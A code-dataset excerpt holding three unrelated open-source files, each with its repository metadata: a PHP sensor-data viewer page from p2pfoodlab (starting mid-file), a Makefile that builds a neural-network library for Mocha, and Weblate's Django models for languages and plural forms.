blockRedraw = false;\n"; echo "var datastreams = [ "; $n = 0; $datastreams = $this->group->datastreams; for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { if ($n > 0) echo ", "; echo $datastream->id; $n++; } } echo " ];\n"; $photostreams = $this->group->photostreams; echo "var photostreams = [ "; $n = 0; for ($j = 0; $j < count($photostreams); $j++) { $photostream = $photostreams[$j]; if ($n > 0) echo ", "; echo $photostream->id; $n++; } echo " ];\n"; ?> var timer = null; var updating = false; var osd = new OpenSensorData("<?php echo $base_url ?>/opensensordata", null); function twoDigits(n) { if (n < 10) return "0" + n; else return "" + n; } function formatDate(d) { return ("" + d.getFullYear() + twoDigits(1 + d.getMonth()) + twoDigits(d.getDate())); } function formatDate2(d) { return ("" + d.getFullYear() + "-" + twoDigits(1 + d.getMonth()) + "-" + twoDigits(d.getDate())); } function checkUpdating() { if (!updating) return; for (i = 0; i < datastreams.length; i++) if (graphs[i].updating) return; for (i = 0; i < photostreams.length; i++) if (slideshows[i].updating) return; updating = false; for (i = 0; i < datastreams.length; i++) { if (graphs[i].numRows() > 0) graphs[i].resetZoom(); } } function updateDatasets() { var range = formatDate(startDate) + "/" + formatDate(endDate); //var d = formatDate(endDate); if (updating) return; updating = true; for (i = 0; i < datastreams.length; i++) { var path = ("filter/" + datastreams[i] + "/" + range + ".json"); //var path = ("datapoints/" + datastreams[i] + "/" + range + ".json"); //var path = ("filter/" + datastreams[i] + "/" + d + ".json"); var updater = { "graph": graphs[i], "callback": function(me, data) { //alert(data); me.graph.updateOptions({ "file": data, "customBars": true, "errorBars": true }); me.graph.updating = false; checkUpdating(); } }; graphs[i].updating = true; osd.getdata(path, updater, updater.callback); } for (i = 0; i < photostreams.length; i++) { var path = ("photos/" + photostreams[i] + "/" + range + ".json"); //var path = ("photos/" + photostreams[i] + "/" + d + ".json"); var updater = { "slideshow": slideshows[i], "callback": function(me, data) { me.slideshow.setPhotos(data); me.slideshow.updating = false; checkUpdating(); } }; slideshows[i].updating = true; osd.get(path, updater, updater.callback); } } function changeStartDate(calendar, date) { var div = document.getElementById("startDate"); div.innerHTML = formatDate2(calendar.date); startDate = calendar.date; if (timer != null) { clearTimeout(timer); timer = null; } timer = setTimeout(updateDatasets, 2000); } function changeEndDate(calendar, date) { var div = document.getElementById("endDate"); div.innerHTML = formatDate2(calendar.date); endDate = calendar.date; if (timer != null) { clearTimeout(timer); timer = null; } timer = setTimeout(updateDatasets, 2000); } </script> <?php $this->host->load_sensorboxes(); if ($this->errmsg) { ?> <div class="strip"> <div class="content_box frame"> <div class="margin"> <?php echo $this->errmsg; ?> </div> </div> </div> <?php } else if (($this->visitor != NULL) && ($this->host != NULL) && ($this->visitor->id == $this->host->id) && (count($this->host->sensorbox) <= 0)) { echo " COUNT " . count($host->sensorbox) . "\n"; echo " <div class=\"strip\">\n"; echo " <div class=\"content_box frame margin\">\n"; echo " " . _s("For more information about this section, check out the help section") . " (<a href=\"" . url_s('help#sensorbox') . "\">" . _s("here") . "</a>).\n"; echo " </div>\n"; echo " </div>\n"; } else { ?> <div class="strip"> <div class="content_box frame margin"> <?php echo $this->group->name; if (isset($this->group->description) && (strlen($this->group->description) > 0)) { echo ": " . $this->group->description; } ?> </div> </div> <div class="strip"> <div class="content_box frame"> <div class="datepicker margin"> <? /* <?php _p("show data of") ?> <a href="javascript:void(0);" id="endDate" class="date"><?php _p("today") ?></a>. */ ?> <?php _p("show data from") ?> <a href="javascript:void(0);" id="startDate" class="date"><?php echo $start_date ?></a> <?php _p("to") ?> <a href="javascript:void(0);" id="endDate" class="date"><?php echo $end_date ?></a>. <script type="text/javascript"> Calendar.setup( { dateField: 'startDate', triggerElement: 'startDate', selectHandler: changeStartDate } ); <? /**/ ?> Calendar.setup( { dateField: 'endDate', triggerElement: 'endDate', selectHandler: changeEndDate } ); </script> </div> </div> </div> <?php /* if ($this->group->app != $osd_appid) */ /* continue; */ for ($j = 0; $j < count($photostreams); $j++) { $photostream = $photostreams[$j]; $id = 'photostream_' . $photostream->id; $path = "photos/" . $photostream->id . "/$range.json"; ?> <div class="strip"> <div class="content_box frame centered"> <div id="<?php echo $id ?>" class="photostreamviewer"></div> <script type="text/javascript"> var slideshow = new Photostream("<?php echo $id ?>", [], "http://opensensordata.net", ".jpg", 575, 530); slideshows.push(slideshow); </script> </div> </div> <?php } for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { $id = 'datastream_' . $datastream->id; ?> <div class="strip"> <div class="content_box frame centered datastreamviewer"> <?php echo "$datastream->name\n" ?> <div id="<?php echo $id ?>" class="datastream margin"></div> <script type="text/javascript"> var graph = new Dygraph(document.getElementById("<?php echo $id ?>"), [], { labels: [ "Date", "<?php echo $datastream->unit ?>" ], includeZero: true, showRangeSelector: false, customBars: true, errorBars: true, drawCallback: function(me, initial) { if (blockRedraw || initial) return; blockRedraw = true; var range = me.xAxisRange(); for (var j = 0; j < graphs.length; j++) { if (graphs[j] == me) continue; graphs[j].updateOptions( { dateWindow: range } ); } blockRedraw = false; } } ); graphs.push(graph); </script> </div> </div> <?php } } } ?> <script type="text/javascript"> updateDatasets(); </script>
hanappe/p2pfoodlab
https/dataset.view.php
PHP
gpl-3.0
12,733
INCLUDE_FLAG = -I../../LayerLib/LayerLib EXTRA_CFLAGS = CC=g++ AR=ar INC= -I../../NNLib/NNLib -I../../LayerLib/LayerLib LIBS = -L../../LayerLib/LayerLib -lLayers all : $(CC) -std=c++11 -fPIC -c -w *.cpp $(EXTRA_CFLAGS) $(INCLUDE_FLAG) $(INC) $(LIBS) $(CC) -std=c++11 -shared -o libNN.so *.o $(EXTRA_CFLAGS) $(INCLUDE_FLAG) $(INC) $(LIBS) $(AR) rcs libNN.a *.o $(CC) -c main.cpp -lNN $(INC) $ cp ./libNN.a ../../Mocha/MMALib/lib $ cp ./libNN.so ../../Mocha/MMALib/bin $ sudo cp ./libNN.so /usr/lib clean: rm -f libNN.so rm -f libNN.a rm -f test_main rm -f *.o
NCUT-MMALab/Mocha
NNLib/NNLib/Makefile
Makefile
gpl-3.0
578
# -*- coding: utf-8 -*- # # Copyright © 2012 - 2019 Michal Čihař <michal@cihar.com> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <https://www.gnu.org/licenses/>. # from __future__ import unicode_literals import gettext import re from collections import defaultdict from itertools import chain from appconf import AppConf from django.conf import settings from django.db import models, transaction from django.db.models import Q from django.db.utils import OperationalError from django.urls import reverse from django.utils.encoding import force_text, python_2_unicode_compatible from django.utils.functional import cached_property from django.utils.safestring import mark_safe from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext as _ from django.utils.translation import ugettext_lazy from weblate.lang import data from weblate.langdata import languages from weblate.logger import LOGGER from weblate.trans.util import sort_objects from weblate.utils.stats import LanguageStats from weblate.utils.validators import validate_pluraleq PLURAL_RE = re.compile( r'\s*nplurals\s*=\s*([0-9]+)\s*;\s*plural\s*=\s*([()n0-9!=|&<>+*/%\s?:-]+)' ) PLURAL_TITLE = ''' {name} <i class="fa fa-question-circle text-primary" title="{examples}"></i> ''' COPY_RE = re.compile(r'\([0-9]+\)') def get_plural_type(base_code, pluralequation): """Get correct plural type for language.""" # Remove not needed parenthesis if pluralequation[-1] == ';': pluralequation = pluralequation[:-1] # No plural if pluralequation == '0': return data.PLURAL_NONE # Standard plural equations for mapping in data.PLURAL_MAPPINGS: if pluralequation in mapping[0]: return mapping[1] # Arabic special case if base_code in ('ar',): return data.PLURAL_ARABIC # Log error in case of uknown mapping LOGGER.error( 'Can not guess type of plural for %s: %s', base_code, pluralequation ) return data.PLURAL_UNKNOWN def get_english_lang(): """Return object ID for English language""" try: return Language.objects.get_default().id except (Language.DoesNotExist, OperationalError): return 65535 class LanguageQuerySet(models.QuerySet): # pylint: disable=no-init def get_default(self): """Return default source language object.""" return self.get(code='en') def try_get(self, *args, **kwargs): """Try to get language by code.""" try: return self.get(*args, **kwargs) except (Language.DoesNotExist, Language.MultipleObjectsReturned): return None def parse_lang_country(self, code): """Parse language and country from locale code.""" # Parse private use subtag subtag_pos = code.find('-x-') if subtag_pos != -1: subtag = code[subtag_pos:] code = code[:subtag_pos] else: subtag = '' # Parse the string if '-' in code: lang, country = code.split('-', 1) # Android regional locales if len(country) > 2 and country[0] == 'r': country = country[1:] elif '_' in code: lang, country = code.split('_', 1) elif '+' in code: lang, country = code.split('+', 1) else: lang = code country = None return lang, country, subtag @staticmethod def sanitize_code(code): """Language code sanitization.""" # Strip b+ prefix from Android if code.startswith('b+'): code = code[2:] # Handle duplicate language files eg. "cs (2)" code = COPY_RE.sub('', code) # Remove some unwanted characters code = code.replace(' ', '').replace('(', '').replace(')', '') # Strip leading and trailing . code = code.strip('.') return code def aliases_get(self, code): code = code.lower() codes = ( code, code.replace('+', '_'), code.replace('-', '_'), code.replace('-r', '_'), code.replace('_r', '_') ) for newcode in codes: if newcode in languages.ALIASES: newcode = languages.ALIASES[newcode] ret = self.try_get(code=newcode) if ret is not None: return ret return None def fuzzy_get(self, code, strict=False): """Get matching language for code (the code does not have to be exactly same, cs_CZ is same as cs-CZ) or returns None It also handles Android special naming of regional locales like pt-rBR """ code = self.sanitize_code(code) lookups = [ # First try getting language as is Q(code__iexact=code), # Replace dash with underscore (for things as zh_Hant) Q(code__iexact=code.replace('-', '_')), # Try using name Q(name__iexact=code), ] for lookup in lookups: # First try getting language as is ret = self.try_get(lookup) if ret is not None: return ret # Handle aliases ret = self.aliases_get(code) if ret is not None: return ret # Parse the string lang, country, subtags = self.parse_lang_country(code) # Try "corrected" code if country is not None: if '@' in country: region, variant = country.split('@', 1) country = '{0}@{1}'.format(region.upper(), variant.lower()) elif '_' in country: # Xliff way of defining variants region, variant = country.split('_', 1) country = '{0}@{1}'.format(region.upper(), variant.lower()) else: country = country.upper() newcode = '{0}_{1}'.format(lang.lower(), country) else: newcode = lang.lower() if subtags: newcode += subtags ret = self.try_get(code__iexact=newcode) if ret is not None: return ret # Try canonical variant if (settings.SIMPLIFY_LANGUAGES and newcode.lower() in data.DEFAULT_LANGS): ret = self.try_get(code=lang.lower()) if ret is not None: return ret return None if strict else newcode def auto_get_or_create(self, code, create=True): """Try to get language using fuzzy_get and create it if that fails.""" ret = self.fuzzy_get(code) if isinstance(ret, Language): return ret # Create new one return self.auto_create(ret, create) def auto_create(self, code, create=True): """Automatically create new language based on code and best guess of parameters. """ # Create standard language name = '{0} (generated)'.format(code) if create: lang = self.get_or_create( code=code, defaults={'name': name}, )[0] else: lang = Language(code=code, name=name) baselang = None # Check for different variant if baselang is None and '@' in code: parts = code.split('@') baselang = self.fuzzy_get(code=parts[0], strict=True) # Check for different country if baselang is None and '_' in code or '-' in code: parts = code.replace('-', '_').split('_') baselang = self.fuzzy_get(code=parts[0], strict=True) if baselang is not None: lang.name = baselang.name lang.direction = baselang.direction if create: lang.save() baseplural = baselang.plural lang.plural_set.create( source=Plural.SOURCE_DEFAULT, number=baseplural.number, equation=baseplural.equation, ) elif create: lang.plural_set.create( source=Plural.SOURCE_DEFAULT, number=2, equation='n != 1', ) return lang def setup(self, update): """Create basic set of languages based on languages defined in the languages-data repo. """ # Create Weblate languages for code, name, nplurals, pluraleq in languages.LANGUAGES: lang, created = self.get_or_create( code=code, defaults={'name': name} ) # Get plural type plural_type = get_plural_type(lang.base_code, pluraleq) # Should we update existing? if update: lang.name = name lang.save() plural_data = { 'type': plural_type, 'number': nplurals, 'equation': pluraleq, } try: plural, created = lang.plural_set.get_or_create( source=Plural.SOURCE_DEFAULT, language=lang, defaults=plural_data, ) if not created: modified = False for item in plural_data: if getattr(plural, item) != plural_data[item]: modified = True setattr(plural, item, plural_data[item]) if modified: plural.save() except Plural.MultipleObjectsReturned: continue # Create addditiona plurals for code, _unused, nplurals, pluraleq in languages.EXTRAPLURALS: lang = self.get(code=code) # Get plural type plural_type = get_plural_type(lang.base_code, pluraleq) plural_data = { 'type': plural_type, } plural, created = lang.plural_set.get_or_create( source=Plural.SOURCE_GETTEXT, language=lang, number=nplurals, equation=pluraleq, defaults=plural_data, ) if not created: modified = False for item in plural_data: if getattr(plural, item) != plural_data[item]: modified = True setattr(plural, item, plural_data[item]) if modified: plural.save() def have_translation(self): """Return list of languages which have at least one translation.""" return self.filter(translation__pk__gt=0).distinct().order() def order(self): return self.order_by('name') def order_translated(self): return sort_objects(self) def setup_lang(sender, **kwargs): """Hook for creating basic set of languages on database migration.""" with transaction.atomic(): Language.objects.setup(False) @python_2_unicode_compatible class Language(models.Model): code = models.SlugField( unique=True, verbose_name=ugettext_lazy('Language code'), ) name = models.CharField( max_length=100, verbose_name=ugettext_lazy('Language name'), ) direction = models.CharField( verbose_name=ugettext_lazy('Text direction'), max_length=3, default='ltr', choices=( ('ltr', ugettext_lazy('Left to right')), ('rtl', ugettext_lazy('Right to left')) ), ) objects = LanguageQuerySet.as_manager() class Meta(object): verbose_name = ugettext_lazy('Language') verbose_name_plural = ugettext_lazy('Languages') def __init__(self, *args, **kwargs): """Constructor to initialize some cache properties.""" super(Language, self).__init__(*args, **kwargs) self._plural_examples = {} self.stats = LanguageStats(self) def __str__(self): if self.show_language_code: return '{0} ({1})'.format( _(self.name), self.code ) return _(self.name) @property def show_language_code(self): return self.code not in data.NO_CODE_LANGUAGES def get_absolute_url(self): return reverse('show_language', kwargs={'lang': self.code}) def get_html(self): """Return html attributes for markup in this language, includes language and direction. """ return mark_safe( 'lang="{0}" dir="{1}"'.format(self.code, self.direction) ) def save(self, *args, **kwargs): """Set default direction for language.""" if self.base_code in data.RTL_LANGS: self.direction = 'rtl' else: self.direction = 'ltr' return super(Language, self).save(*args, **kwargs) @cached_property def base_code(self): return self.code.replace('_', '-').split('-')[0] def uses_ngram(self): return self.base_code in ('ja', 'zh', 'ko') @cached_property def plural(self): return self.plural_set.filter(source=Plural.SOURCE_DEFAULT)[0] class PluralQuerySet(models.QuerySet): def order(self): return self.order_by('source') @python_2_unicode_compatible class Plural(models.Model): PLURAL_CHOICES = ( ( data.PLURAL_NONE, pgettext_lazy('Plural type', 'None') ), ( data.PLURAL_ONE_OTHER, pgettext_lazy('Plural type', 'One/other (classic plural)') ), ( data.PLURAL_ONE_FEW_OTHER, pgettext_lazy('Plural type', 'One/few/other (Slavic languages)') ), ( data.PLURAL_ARABIC, pgettext_lazy('Plural type', 'Arabic languages') ), ( data.PLURAL_ZERO_ONE_OTHER, pgettext_lazy('Plural type', 'Zero/one/other') ), ( data.PLURAL_ONE_TWO_OTHER, pgettext_lazy('Plural type', 'One/two/other') ), ( data.PLURAL_ONE_OTHER_TWO, pgettext_lazy('Plural type', 'One/other/two') ), ( data.PLURAL_ONE_TWO_FEW_OTHER, pgettext_lazy('Plural type', 'One/two/few/other') ), ( data.PLURAL_OTHER_ONE_TWO_FEW, pgettext_lazy('Plural type', 'Other/one/two/few') ), ( data.PLURAL_ONE_TWO_THREE_OTHER, pgettext_lazy('Plural type', 'One/two/three/other') ), ( data.PLURAL_ONE_OTHER_ZERO, pgettext_lazy('Plural type', 'One/other/zero') ), ( data.PLURAL_ONE_FEW_MANY_OTHER, pgettext_lazy('Plural type', 'One/few/many/other') ), ( data.PLURAL_TWO_OTHER, pgettext_lazy('Plural type', 'Two/other') ), ( data.PLURAL_ONE_TWO_FEW_MANY_OTHER, pgettext_lazy('Plural type', 'One/two/few/many/other') ), ( data.PLURAL_UNKNOWN, pgettext_lazy('Plural type', 'Unknown') ), ( data.PLURAL_ZERO_ONE_TWO_THREE_SIX_OTHER, pgettext_lazy('Plural type', 'Zero/one/two/three/six/other') ), ) SOURCE_DEFAULT = 0 SOURCE_GETTEXT = 1 SOURCE_MANUAL = 2 source = models.SmallIntegerField( default=SOURCE_DEFAULT, verbose_name=ugettext_lazy('Plural definition source'), choices=( (SOURCE_DEFAULT, ugettext_lazy('Default plural')), (SOURCE_GETTEXT, ugettext_lazy('Plural gettext formula')), (SOURCE_MANUAL, ugettext_lazy('Manually entered formula')), ), ) number = models.SmallIntegerField( default=2, verbose_name=ugettext_lazy('Number of plurals'), ) equation = models.CharField( max_length=400, default='n != 1', validators=[validate_pluraleq], blank=False, verbose_name=ugettext_lazy('Plural equation'), ) type = models.IntegerField( choices=PLURAL_CHOICES, default=data.PLURAL_ONE_OTHER, verbose_name=ugettext_lazy('Plural type'), editable=False, ) language = models.ForeignKey(Language, on_delete=models.deletion.CASCADE) objects = PluralQuerySet.as_manager() class Meta(object): verbose_name = ugettext_lazy('Plural form') verbose_name_plural = ugettext_lazy('Plural forms') def __str__(self): return self.get_type_display() @cached_property def plural_form(self): return 'nplurals={0:d}; plural={1};'.format( self.number, self.equation ) @cached_property def plural_function(self): return gettext.c2py( self.equation if self.equation else '0' ) @cached_property def examples(self): result = defaultdict(list) func = self.plural_function for i in chain(range(0, 10000), range(10000, 2000001, 1000)): ret = func(i) if len(result[ret]) >= 10: continue result[ret].append(str(i)) return result @staticmethod def parse_formula(plurals): matches = PLURAL_RE.match(plurals) if matches is None: raise ValueError('Failed to parse formula') number = int(matches.group(1)) formula = matches.group(2) if not formula: formula = '0' # Try to parse the formula gettext.c2py(formula) return number, formula def same_plural(self, number, equation): """Compare whether given plurals formula matches""" if number != self.number or not equation: return False # Convert formulas to functions ours = self.plural_function theirs = gettext.c2py(equation) # Compare equation results # It would be better to compare formulas, # but this was easier to implement and the performance # is still okay. for i in range(-10, 200): if ours(i) != theirs(i): return False return True def get_plural_label(self, idx): """Return label for plural form.""" return PLURAL_TITLE.format( name=self.get_plural_name(idx), # Translators: Label for plurals with example counts examples=_('For example: {0}').format( ', '.join(self.examples.get(idx, [])) ) ) def get_plural_name(self, idx): """Return name for plural form.""" try: return force_text(data.PLURAL_NAMES[self.type][idx]) except (IndexError, KeyError): if idx == 0: return _('Singular') if idx == 1: return _('Plural') return _('Plural form %d') % idx def list_plurals(self): for i in range(self.number): yield { 'index': i, 'name': self.get_plural_name(i), 'examples': ', '.join(self.examples.get(i, [])) } def save(self, *args, **kwargs): self.type = get_plural_type(self.language.base_code, self.equation) # Try to calculate based on equation if self.type == data.PLURAL_UNKNOWN: for equations, plural in data.PLURAL_MAPPINGS: for equation in equations: if self.same_plural(self.number, equation): self.type = plural break if self.type != data.PLURAL_UNKNOWN: break super(Plural, self).save(*args, **kwargs) def get_absolute_url(self): return '{}#information'.format( reverse('show_language', kwargs={'lang': self.language.code}) ) class WeblateLanguagesConf(AppConf): """Languages settings.""" # Use simple language codes for default language/country combinations SIMPLIFY_LANGUAGES = True class Meta(object): prefix = ''
dontnod/weblate
weblate/lang/models.py
Python
gpl-3.0
20,870